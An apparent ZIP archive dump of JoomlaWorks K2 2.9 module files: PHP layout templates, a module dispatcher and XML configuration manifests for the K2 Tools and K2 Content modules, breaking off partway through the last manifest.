PK!�H����mod_k2_tools/tmpl/authors.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2AuthorsListBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <ul>
        <?php foreach ($authors as $author): ?>
        <li>
            <?php if ($params->get('authorAvatar')): ?>
            <a class="k2Avatar abAuthorAvatar" rel="author" href="<?php echo $author->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($author->name); ?>">
                <img src="<?php echo $author->avatar; ?>" alt="<?php echo K2HelperUtilities::cleanHtml($author->name); ?>" style="width:<?php echo $avatarWidth; ?>px;height:auto;" />
            </a>
            <?php endif; ?>

            <a class="abAuthorName" rel="author" href="<?php echo $author->link; ?>">
                <?php echo $author->name; ?>
                <?php if ($params->get('authorItemsCounter')): ?>
                <span>(<?php echo $author->items; ?>)</span>
                <?php endif; ?>
            </a>

            <?php if ($params->get('authorLatestItem')): ?>
            <a class="abAuthorLatestItem" href="<?php echo $author->latest->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($author->latest->title); ?>">
                <?php echo $author->latest->title; ?>
                <span class="abAuthorCommentsCount">(<?php echo $author->latest->numOfComments; ?> <?php if($author->latest->numOfComments=='1') echo JText::_('K2_MODK2TOOLS_COMMENT'); else echo JText::_('K2_MODK2TOOLS_COMMENTS'); ?>)</span>
            </a>
            <?php endif; ?>
        </li>
        <?php endforeach; ?>
    </ul>
</div>
PK!�e1<mod_k2_tools/tmpl/calendar.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2CalendarBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php echo $calendar; ?>
    <div class="clr"></div>
</div>
PK!��aamod_k2_tools/tmpl/tags.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2TagCloudBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php foreach ($tags as $tag): ?>
    <?php if(!empty($tag->tag)): ?>
    <a href="<?php echo $tag->link; ?>" style="font-size:<?php echo $tag->size; ?>%" title="<?php echo $tag->count.' '.JText::_('K2_ITEMS_TAGGED_WITH').' '.K2HelperUtilities::cleanHtml($tag->tag); ?>">
        <?php echo $tag->tag; ?>
    </a>
    <?php endif; ?>
    <?php endforeach; ?>
    <div class="clr"></div>
</div>
PK!T+�e	e	mod_k2_tools/tmpl/search.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

/*
 * Important note for template overrides:
 * If you wish to use the live search option, you MUST maintain
 * the same class names for wrapping elements, e.g. the wrapping div and form.
*/

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2SearchBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); if($params->get('liveSearch')) echo ' k2LiveSearchBlock'; ?>">
    <form action="<?php echo $action; ?>" method="get" autocomplete="off" class="k2SearchBlockForm">
        <input type="text" value="<?php echo $text; ?>" name="searchword" class="inputbox" onblur="if(this.value=='') this.value='<?php echo $text; ?>';" onfocus="if(this.value=='<?php echo $text; ?>') this.value='';" />

        <?php if($button): ?>
        <?php if($imagebutton): ?>
        <input type="image" alt="<?php echo $button_text; ?>" class="button" onclick="this.form.searchword.focus();" src="<?php echo JURI::base(true); ?>/components/com_k2/images/search.png" />
        <?php else: ?>
        <input type="submit" value="<?php echo $button_text; ?>" class="button" onclick="this.form.searchword.focus();" />
        <?php endif; ?>
        <?php endif; ?>

        <?php if($categoryFilter): ?>
        <input type="hidden" name="categories" value="<?php echo $categoryFilter; ?>" />
        <?php endif; ?>

        <?php if(!$app->getCfg('sef')): ?>
        <input type="hidden" name="option" value="com_k2" />
        <input type="hidden" name="view" value="itemlist" />
        <input type="hidden" name="task" value="search" />
        <?php endif; ?>

        <?php if($params->get('liveSearch')): ?>
        <input type="hidden" name="format" value="html" />
        <input type="hidden" name="t" value="" />
        <input type="hidden" name="tpl" value="search" />
        <?php endif; ?>

        <?php if($searchItemId): ?>
        <input type="hidden" name="Itemid" value="<?php echo $searchItemId;?>" />
        <?php endif; ?>
    </form>

    <?php if($params->get('liveSearch')): ?>
    <div class="k2LiveSearchResults"></div>
    <?php endif; ?>
</div>
PK!��8	�� mod_k2_tools/tmpl/customcode.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2CustomCodeBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php echo $customcode; ?>
</div>
PK!r���55mod_k2_tools/tmpl/archive.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2ArchivesBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <ul>
        <?php foreach ($months as $month): ?>
        <li>
            <a href="<?php echo $month->link; ?>">
                <?php echo $month->name.' '.$month->y; ?>
                <?php if ($params->get('archiveItemsCounter')) echo ' ('.$month->numOfItems.')'; ?>
            </a>
        </li>
        <?php endforeach; ?>
    </ul>
</div>
PK!e
3@mod_k2_tools/mod_k2_tools.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

if (K2_JVERSION != '15') {
    $language = JFactory::getLanguage();
    $language->load('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
}

require_once(dirname(__FILE__).'/helper.php');

// Params
$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$module_usage = $params->get('module_usage', 0);
$authorAvatarWidthSelect = $params->get('authorAvatarWidthSelect', 'custom');
$authorAvatarWidth = $params->get('authorAvatarWidth', 50);
$button = $params->get('button');
$imagebutton = $params->get('imagebutton');
$button_pos = $params->get('button_pos', 'left');
$button_text = $params->get('button_text', JText::_('K2_SEARCH'));
$text = $params->get('text', JText::_('K2_SEARCH'));
$searchItemId = $params->get('searchItemId', '');

// API
$document = JFactory::getDocument();
$app = JFactory::getApplication();

// Output
switch ($module_usage) {
    case '0':
        $months = modK2ToolsHelper::getArchive($params);
        if (count($months)) {
            require(JModuleHelper::getLayoutPath('mod_k2_tools', 'archive'));
        }
        break;

    case '1':
        // User avatar
        if ($authorAvatarWidthSelect == 'inherit') {
            $componentParams = JComponentHelper::getParams('com_k2');
            $avatarWidth = $componentParams->get('userImageWidth');
        } else {
            $avatarWidth = $authorAvatarWidth;
        }
        $authors = modK2ToolsHelper::getAuthors($params);
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'authors'));
        break;

    case '2':
        $calendar = modK2ToolsHelper::calendar($params);
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'calendar'));
        break;

    case '3':
        $breadcrumbs = modK2ToolsHelper::breadcrumbs($params);
        $path = $breadcrumbs[0];
        $title = $breadcrumbs[1];
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'breadcrumbs'));
        break;

    case '4':
        $output = modK2ToolsHelper::treerecurse($params, 0, 0, true);
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'categories'));
        break;

    case '5':
        echo modK2ToolsHelper::treeselectbox($params);
        break;

    case '6':
        $categoryFilter = modK2ToolsHelper::getSearchCategoryFilter($params);
        $action = JRoute::_(K2HelperRoute::getSearchRoute());
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'search'));
        break;

    case '7':
        $tags = modK2ToolsHelper::tagCloud($params);
        if (count($tags)) {
            require(JModuleHelper::getLayoutPath('mod_k2_tools', 'tags'));
        }
        break;

    case '8':
        $customcode = modK2ToolsHelper::renderCustomCode($params);
        require(JModuleHelper::getLayoutPath('mod_k2_tools', 'customcode'));
        break;
}
PK!=��0�0mod_k2_tools/mod_k2_tools.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" version="2.5" method="upgrade">
    <name>K2 Tools</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>K2_TOOLS</description>
    <files>
        <filename module="mod_k2_tools">mod_k2_tools.php</filename>
        <filename>helper.php</filename>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/administrator/components/com_k2/elements/">
                <field name="moduleclass_sfx" type="text" default="" label="K2_MODULE_CLASS_SUFFIX" description="K2_MODULE_CLASS_SUFFIX_DESCRIPTION"/>
                <field name="module_usage" type="list" default="0" label="K2_SELECT_MODULE_FUNCTIONALITY" description="">
                    <option value="0">K2_ARCHIVE</option>
                    <option value="1">K2_AUTHORS_LIST</option>
                    <option value="2">K2_BLOGSTYLE_CALENDAR_NO_OPTIONS</option>
                    <option value="3">K2_BREADCRUMBS</option>
                    <option value="4">K2_CATEGORIES_LIST_MENU</option>
                    <option value="5">K2_CATEGORY_SELECT_BOX</option>
                    <option value="6">K2_SEARCH_BOX</option>
                    <option value="7">K2_TAG_CLOUD</option>
                    <option value="8">K2_CUSTOM_CODE</option>
                </field>
                <!-- K2_ARCHIVE_SETTINGS -->
                <field name="" type="header" default="K2_ARCHIVE_SETTINGS" label="" description=""/>
                <field name="archiveItemsCounter" type="radio" default="1" label="K2_ITEMS_COUNTER" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="archiveCategory" type="categories" label="K2_CATEGORY_FILTER" description="" default=""/>
                <!-- Authors List Settings -->
                <field name="" type="header" default="K2_AUTHORS_LIST_SETTINGS" label="" description=""/>
                <field name="authors_module_category" type="categories" default="" label="K2_FILTER_AUTHORS_BY_ROOT_CATEGORY" description="K2_SELECT_THE_ROOT_CATEGORY_FOR_WHICH_YOU_WANT_TO_FILTER_AN_AUTHOR_LIST_SELECT_NONE_TO_FETCH_AUTHORS_FROM_ALL_CATEGORIES"/>
                <field name="authorItemsCounter" type="radio" default="1" label="K2_ITEMS_COUNTER" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="authorAvatar" type="radio" default="1" label="K2_AUTHOR_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="authorAvatarWidthSelect" type="list" default="custom" label="K2_AUTHOR_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="authorAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_AUTHOR_AVATAR_IN_PX" description=""/>
                <field name="authorLatestItem" type="radio" default="1" label="K2_LATEST_ITEM_WRITTEN_BY_AUTHOR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <!-- Calendar Settings -->
                <field name="" type="header" default="K2_CALENDAR_SETTINGS" label="" description=""/>
                <field name="calendarCategory" type="categories" label="K2_CATEGORY_FILTER" description="" default=""/>
                <!-- Breadcrumbs Settings -->
                <field name="" type="header" default="K2_BREADCRUMBS_SETTINGS" label="" description=""/>
                <field name="home" type="text" default="" label="K2_ROOT_LABEL_EG_HOME" description="K2_THE_LABEL_FOR_THE_HOME_LINK_LEAVE_THIS_BLANK_IF_YOU_DONT_WISH_TO_INCLUDE_A_HOME_LINK_IN_YOUR_PATH"/>
                <field name="seperator" type="text" default="" label="K2_PATH_SEPARATOR" description="K2_THE_PATH_SEPARATOR_EG_A_RIGHT_ARROW"/>
                <!-- Categories List (Menu) Settings -->
                <field name="" type="header" default="K2_CATEGORIES_LIST_MENU_SETTINGS" label="" description=""/>
                <field name="root_id" type="categories" default="" label="K2_SELECT_ROOT_CATEGORY" description="K2_SELECT_THE_ROOT_CATEGORY_FOR_WHICH_YOU_WANT_TO_CREATE_A_CATEGORY_LIST_SELECT_NONE_TO_FETCH_A_LIST_OF_ALL_CATEGORIES"/>
                <field name="end_level" type="text" default="" size="4" label="K2_LEVELS_TO_RENDER" description="K2_SELECT_THE_NUMBER_OF_LEVELS_YOU_WISH_TO_RENDER_LEAVE_THIS_BLANK_IF_YOU_WISH_TO_RENDER_ALL_THE_LEVELS_BELOW_THE_SELECTED_ROOT_CATEGORY"/>
                <field name="categoriesListOrdering" type="list" default="" label="K2_ORDER_BY" description="">
                    <option value="">K2_DEFAULT_BY_ID_ASCENDING</option>
                    <option value="reversedefault">K2_REVERSE_DEFAULT_BY_ID_DESCENDING</option>
                    <option value="alpha">K2_NAME_ALPHABETICAL</option>
                    <option value="ralpha">K2_NAME_REVERSE_ALPHABETICAL</option>
                    <option value="order">K2_ORDERING</option>
                </field>
                <field name="categoriesListItemsCounter" type="radio" default="1" label="K2_ITEMS_COUNTER" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <!-- Category Select Box Settings -->
                <field name="" type="header" default="K2_CATEGORY_SELECT_BOX_SETTINGS" label="" description=""/>
                <field name="root_id2" type="categories" default="" label="K2_SELECT_ROOT_CATEGORY" description="K2_SELECT_THE_ROOT_CATEGORY_FOR_WHICH_YOU_WANT_TO_CREATE_A_CATEGORY_DROPDOWN_LIST_SELECT_NONE_TO_CREATE_A_DROPDOWN_LIST_FROM_ALL_CATEGORIES"/>
                <!-- Search Box Settings -->
                <field name="" type="header" default="K2_SEARCH_BOX_SETTINGS" label="" description=""/>
                <field name="catfilter" type="radio" default="0" label="K2_CATEGORY_FILTER" description="" class="btn-group btn-group-yesno-reverse">
                    <option value="0">K2_ALL</option>
                    <option value="1">K2_SELECT</option>
                </field>
                <field name="category_id" type="categoriesmultiple" default="" label="K2_RESTRICT_SEARCH_RESULTS_TO_ONE_OR_MORE_CATEGORIES" description="K2_BY_CHOOSING_SPECIFIC_CATEGORIES_HERE_YOU_CAN_NARROW_DOWN_SEARCH_RESULTS_TO_ITEMS_BELONGING_IN_THE_SELECTED_CATEGORIES_THIS_OPTION_IS_VERY_HANDY_IF_YOU_ARE_DEVELOPING_A_WEBSITE_FOR_BOTH_GUEST_VISITORS_AND_REGISTERED_MEMBERS_EG_INTRANET_AND_YOU_WANT_TO_RESTRICT_SEARCH_RESULTS_FOR_GUEST_VISITORS_ONLY_TO_CATEGORIES_THAT_THEY_ARE_ALLOWED_TO_VIEW"/>
                <field name="getChildren" type="radio" default="0" label="K2_FETCH_ITEMS_FROM_CHILDREN_CATEGORIES" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="liveSearch" type="radio" default="0" label="K2_ENABLE_LIVE_SEARCH" description="K2_IF_YOU_ENABLE_THIS_OPTION_SEARCH_RESULTS_WILL_BE_DISPLAYED_RIGHT_BELOW_THE_SEARCH_BOX_AS_YOU_TYPE_YOUR_SEARCH_QUERY" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="text" type="text" default="" label="K2_SEARCH_BOX_DEFAULT_TEXT" description="K2_THE_TEXT_TO_DISPLAY_BY_DEFAULT_IN_THE_SEARCH_BOX"/>
                <field name="button" type="radio" default="0" label="K2_SHOW_SEARCH_BUTTON" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="imagebutton" type="radio" default="0" label="K2_SEARCH_BUTTON_AS_IMAGE" description="K2_USE_AN_IMAGE_AS_THE_SEARCH_BUTTON" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="button_text" type="text" default="" label="K2_SEARCH_BUTTON_TEXT" description="K2_SET_THE_DEFAULT_TEXT_WHICH_WILL_APPEAR_ON_THE_SEARCH_BOX_EG_SEARCH_SITE"/>
                <field name="searchItemId" type="menuitem" default="" disable="separator" label="K2_SELECT_A_MENU_ITEM" description="K2_SELECT_A_MENU_ITEM_DESCRIPTION">
                    <option value="">K2_NONE_ONSELECTLISTS</option>
                </field>
                <!-- Tag Cloud Settings -->
                <field name="" type="header" default="K2_TAG_CLOUD_SETTINGS" label="" description=""/>
                <field name="min_size" type="text" default="75" size="4" label="K2_MIN_FONT_SIZE" description="K2_FONT_SIZE_FOR_LESS_POPULAR_TAGS"/>
                <field name="max_size" type="text" default="300" size="4" label="K2_MAX_FONT_SIZE" description="K2_FONT_SIZE_FOR_MOST_POPULAR_TAGS"/>
                <field name="cloud_limit" type="text" default="30" size="4" label="K2_TAG_LIMIT_X_MOST_POPULAR" description="K2_SELECT_THE_X_MOST_POPULAR_TAGS_TO_DISPLAY"/>
                <field name="cloud_category" type="categories" multiple="multiple" default="0" label="K2_FILTER_TAGS_FROM_ONE_OR_MORE_CATEGORIES" description="K2_TO_SELECT_MULTIPLE_CATEGORIES_PRESS_AND_KEEP_CTRLCMD_AND_THEN_CLICK_ON_THE_DESIRED_CATEGORIES"/>
                <field name="cloud_category_recursive" type="radio" default="0" label="K2_APPLY_TAG_CATEGORY_FILTER_RECURSIVELY_TO_ALL_SUBCATEGORIES" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <!-- Custom code settings -->
                <field name="" type="header" default="K2_CUSTOM_CODE_SETTINGS" label="" description=""/>
                <field name="customCode" type="textarea" filter="raw" default="" label="K2_ADD_CUSTOM_HTML_CSS_JS_OR_PHP_CODE" description="" cols="60" rows="20" />
                <field name="parsePhp" type="radio" default="0" label="K2_PARSE_PHP_CODE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="K2Plugins" type="radio" default="0" label="K2_ENABLE_K2_PLUGINS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="JPlugins" type="radio" default="0" label="K2_ENABLE_JOOMLA_CONTENT_PLUGINS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
            </fieldset>
            <fieldset name="advanced">
                <field name="cache" type="list" default="1" label="K2_CACHING" description="K2_SELECT_WHETHER_TO_CACHE_THE_CONTENT_OF_THIS_MODULE">
                    <option value="1">K2_USE_GLOBAL</option>
                    <option value="0">K2_NO_CACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="K2_CACHE_TIME" description="K2_THE_TIME_IN_SECONDS_BEFORE_THE_MODULE_IS_RECACHED"/>
            </fieldset>
        </fields>
    </config>
</extension>
PK!'�����'mod_k2_content/tmpl/Default/default.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;
?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2ItemsBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">

	<?php if($params->get('itemPreText')): ?>
	<p class="modulePretext"><?php echo $params->get('itemPreText'); ?></p>
	<?php endif; ?>

	<?php if(count($items)): ?>
  <ul>
    <?php foreach ($items as $key=>$item):	?>
    <li class="<?php echo ($key%2) ? "odd" : "even"; if(count($items)==$key+1) echo ' lastItem'; ?>">

      <!-- Plugins: BeforeDisplay -->
      <?php echo $item->event->BeforeDisplay; ?>

      <!-- K2 Plugins: K2BeforeDisplay -->
      <?php echo $item->event->K2BeforeDisplay; ?>

      <?php if($params->get('itemAuthorAvatar')): ?>
      <a class="k2Avatar moduleItemAuthorAvatar" rel="author" href="<?php echo $item->authorLink; ?>">
				<img src="<?php echo $item->authorAvatar; ?>" alt="<?php echo K2HelperUtilities::cleanHtml($item->author); ?>" style="width:<?php echo $avatarWidth; ?>px;height:auto;" />
			</a>
      <?php endif; ?>

      <?php if($params->get('itemTitle')): ?>
      <a class="moduleItemTitle" href="<?php echo $item->link; ?>"><?php echo $item->title; ?></a>
      <?php endif; ?>

      <?php if($params->get('itemAuthor')): ?>
      <div class="moduleItemAuthor">
	      <?php echo K2HelperUtilities::writtenBy($item->authorGender); ?>

				<?php if(isset($item->authorLink)): ?>
				<a rel="author" title="<?php echo K2HelperUtilities::cleanHtml($item->author); ?>" href="<?php echo $item->authorLink; ?>"><?php echo $item->author; ?></a>
				<?php else: ?>
				<?php echo $item->author; ?>
				<?php endif; ?>

				<?php if($params->get('userDescription')): ?>
				<?php echo $item->authorDescription; ?>
				<?php endif; ?>

			</div>
			<?php endif; ?>

      <!-- Plugins: AfterDisplayTitle -->
      <?php echo $item->event->AfterDisplayTitle; ?>

      <!-- K2 Plugins: K2AfterDisplayTitle -->
      <?php echo $item->event->K2AfterDisplayTitle; ?>

      <!-- Plugins: BeforeDisplayContent -->
      <?php echo $item->event->BeforeDisplayContent; ?>

      <!-- K2 Plugins: K2BeforeDisplayContent -->
      <?php echo $item->event->K2BeforeDisplayContent; ?>

      <?php if($params->get('itemImage') || $params->get('itemIntroText')): ?>
      <div class="moduleItemIntrotext">
	      <?php if($params->get('itemImage') && isset($item->image)): ?>
	      <a class="moduleItemImage" href="<?php echo $item->link; ?>" title="<?php echo JText::_('K2_CONTINUE_READING'); ?> &quot;<?php echo K2HelperUtilities::cleanHtml($item->title); ?>&quot;">
	      	<img src="<?php echo $item->image; ?>" alt="<?php echo K2HelperUtilities::cleanHtml($item->title); ?>" />
	      </a>
	      <?php endif; ?>

      	<?php if($params->get('itemIntroText')): ?>
      	<?php echo $item->introtext; ?>
      	<?php endif; ?>
      </div>
      <?php endif; ?>

      <?php if($params->get('itemExtraFields') && count($item->extra_fields)): ?>
      <div class="moduleItemExtraFields">
	      <b><?php echo JText::_('K2_ADDITIONAL_INFO'); ?></b>
	      <ul>
	        <?php foreach ($item->extra_fields as $key => $extraField): ?>
					<?php if($extraField->value != ''): ?>
					<li class="<?php echo ($key%2) ? "odd" : "even"; ?> type<?php echo ucfirst($extraField->type); ?> group<?php echo $extraField->group; ?> alias<?php echo ucfirst($extraField->alias); ?>">
						<?php if($extraField->type == 'header'): ?>
						<h4 class="moduleItemExtraFieldsHeader"><?php echo $extraField->name; ?></h4>
						<?php else: ?>
						<span class="moduleItemExtraFieldsLabel"><?php echo $extraField->name; ?></span>
						<span class="moduleItemExtraFieldsValue"><?php echo $extraField->value; ?></span>
						<?php endif; ?>
						<div class="clr"></div>
					</li>
					<?php endif; ?>
	        <?php endforeach; ?>
	      </ul>
      </div>
      <?php endif; ?>

      <div class="clr"></div>

      <?php if($params->get('itemVideo') && !empty($item->video)): ?>
      <div class="moduleItemVideo">
      	<?php echo $item->video; ?>
      	<span class="moduleItemVideoCaption"><?php echo $item->video_caption; ?></span>
      	<span class="moduleItemVideoCredits"><?php echo $item->video_credits; ?></span>
      </div>
      <?php endif; ?>

      <div class="clr"></div>

      <!-- Plugins: AfterDisplayContent -->
      <?php echo $item->event->AfterDisplayContent; ?>

      <!-- K2 Plugins: K2AfterDisplayContent -->
      <?php echo $item->event->K2AfterDisplayContent; ?>

      <?php if($params->get('itemDateCreated')): ?>
      <span class="moduleItemDateCreated"><?php echo JText::_('K2_WRITTEN_ON'); ?> <?php echo JHTML::_('date', $item->created, JText::_('K2_DATE_FORMAT_LC2')); ?></span>
      <?php endif; ?>

      <?php if($params->get('itemCategory')): ?>
      <?php echo JText::_('K2_IN'); ?> <a class="moduleItemCategory" href="<?php echo $item->categoryLink; ?>"><?php echo $item->categoryname; ?></a>
      <?php endif; ?>

      <?php if($params->get('itemTags') && count($item->tags)>0): ?>
      <div class="moduleItemTags">
      	<b><?php echo JText::_('K2_TAGS'); ?>:</b>
        <?php foreach ($item->tags as $tag): ?>
        <a href="<?php echo $tag->link; ?>"><?php echo $tag->name; ?></a>
        <?php endforeach; ?>
      </div>
      <?php endif; ?>

      <?php if($params->get('itemAttachments') && count($item->attachments)): ?>
			<div class="moduleAttachments">
				<?php foreach ($item->attachments as $attachment): ?>
				<a title="<?php echo K2HelperUtilities::cleanHtml($attachment->titleAttribute); ?>" href="<?php echo $attachment->link; ?>"><?php echo $attachment->title; ?></a>
				<?php endforeach; ?>
			</div>
      <?php endif; ?>

			<?php if($params->get('itemCommentsCounter') && $componentParams->get('comments')): ?>
				<?php if(!empty($item->event->K2CommentsCounter)): ?>
					<!-- K2 Plugins: K2CommentsCounter -->
					<?php echo $item->event->K2CommentsCounter; ?>
				<?php else: ?>
					<?php if($item->numOfComments>0): ?>
					<a class="moduleItemComments" href="<?php echo $item->link.'#itemCommentsAnchor'; ?>">
						<?php echo $item->numOfComments; ?> <?php if($item->numOfComments>1) echo JText::_('K2_COMMENTS'); else echo JText::_('K2_COMMENT'); ?>
					</a>
					<?php else: ?>
					<a class="moduleItemComments" href="<?php echo $item->link.'#itemCommentsAnchor'; ?>">
						<?php echo JText::_('K2_BE_THE_FIRST_TO_COMMENT'); ?>
					</a>
					<?php endif; ?>
				<?php endif; ?>
			<?php endif; ?>

			<?php if($params->get('itemHits')): ?>
			<span class="moduleItemHits">
				<?php echo JText::_('K2_READ'); ?> <?php echo $item->hits; ?> <?php echo JText::_('K2_TIMES'); ?>
			</span>
			<?php endif; ?>

			<?php if($params->get('itemReadMore') && $item->fulltext): ?>
			<a class="moduleItemReadMore" href="<?php echo $item->link; ?>">
				<?php echo JText::_('K2_READ_MORE'); ?>
			</a>
			<?php endif; ?>

      <!-- Plugins: AfterDisplay -->
      <?php echo $item->event->AfterDisplay; ?>

      <!-- K2 Plugins: K2AfterDisplay -->
      <?php echo $item->event->K2AfterDisplay; ?>

      <div class="clr"></div>
    </li>
    <?php endforeach; ?>
    <li class="clearList"></li>
  </ul>
  <?php endif; ?>

	<?php if($params->get('itemCustomLink')): ?>
	<a class="moduleCustomLink" href="<?php echo $itemCustomLinkURL; ?>" title="<?php echo K2HelperUtilities::cleanHtml($itemCustomLinkTitle); ?>"><?php echo $itemCustomLinkTitle; ?></a>
	<?php endif; ?>

	<?php if($params->get('feed')): ?>
	<div class="k2FeedIcon">
		<a href="<?php echo JRoute::_('index.php?option=com_k2&view=itemlist&format=feed&moduleID='.$module->id); ?>" title="<?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?>">
			<i class="icon-feed"></i>
			<span><?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?></span>
		</a>
		<div class="clr"></div>
	</div>
	<?php endif; ?>

</div>
PK!�#o,,mod_k2_content/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!��j�*7*7!mod_k2_content/mod_k2_content.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" version="2.5" method="upgrade">
    <name>K2 Content</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>K2_MOD_K2_CONTENT_DESCRIPTION</description>
    <files>
        <filename module="mod_k2_content">mod_k2_content.php</filename>
        <filename>helper.php</filename>
